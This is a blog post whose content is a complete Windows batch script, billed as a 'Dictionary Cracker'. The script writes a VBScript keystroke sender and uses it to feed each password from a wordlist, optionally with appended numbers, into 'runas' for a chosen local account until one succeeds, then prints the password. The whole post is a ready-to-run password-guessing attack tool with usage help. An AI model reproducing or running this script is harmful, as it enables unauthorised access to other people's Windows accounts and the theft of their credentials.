Windows Dictionary Cracker in Batch

@echo off
if "%1"=="/?" call :help & goto :eof
if "%1"=="" call :help & goto :eof
call :mksender
set dictfile=%~1
set user=%~2
set min=%~3
set max=%~4
if defined min if defined max set apnd=1
setlocal enabledelayedexpansion
for /f "delims=^" %%i in ('type !dictfile!') do (
echo %%i
wscript send.vbs %%i
runas /user:!user! cmd.exe>nul
if !errorlevel! EQU 0 echo Password is %%i & pause & del send.vbs>nul & exit
if !apnd!==1 call :digit %%i
)
endlocal
echo Sorry, your dictionary attack failed.
del send.vbs>nul
pause
goto :eof
:digit
set pass=%1
for /l %%i in (!min!,1,!max!) do (
set num=%%i
echo !pass!!num!
wscript send.vbs !pass!!num!
runas /user:!user! cmd.exe>nul
if !errorlevel! EQU 0 echo Password is !pass!!num! & pause & del send.vbs>nul & exit
)
goto :eof
:mksender
echo dim shell,args>send.vbs
echo set args=WScript.Arguments>>send.vbs
echo set shell=CreateObject("Wscript.Shell")>>send.vbs
echo shell.sendkeys args(0) ^& vbcrlf>>send.vbs
echo WScript.Quit>>send.vbs
goto :eof
:help
echo Windows Dictionary Cracker
echo by Jakash3
echo.
echo Args: DictFile Username [Min Max]
echo.
echo DictFile   - File containing possible passwords line by line
echo Username   - Name of user to crack password against
echo Min        - Optional, must be specified with Max.
echo              Specifies starting number to append and
echo              try against each password.
echo Max        - Optional, must be specified with Min.
echo              Specifies ending number to append and
echo              try agains each password.
echo.
goto :eof

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: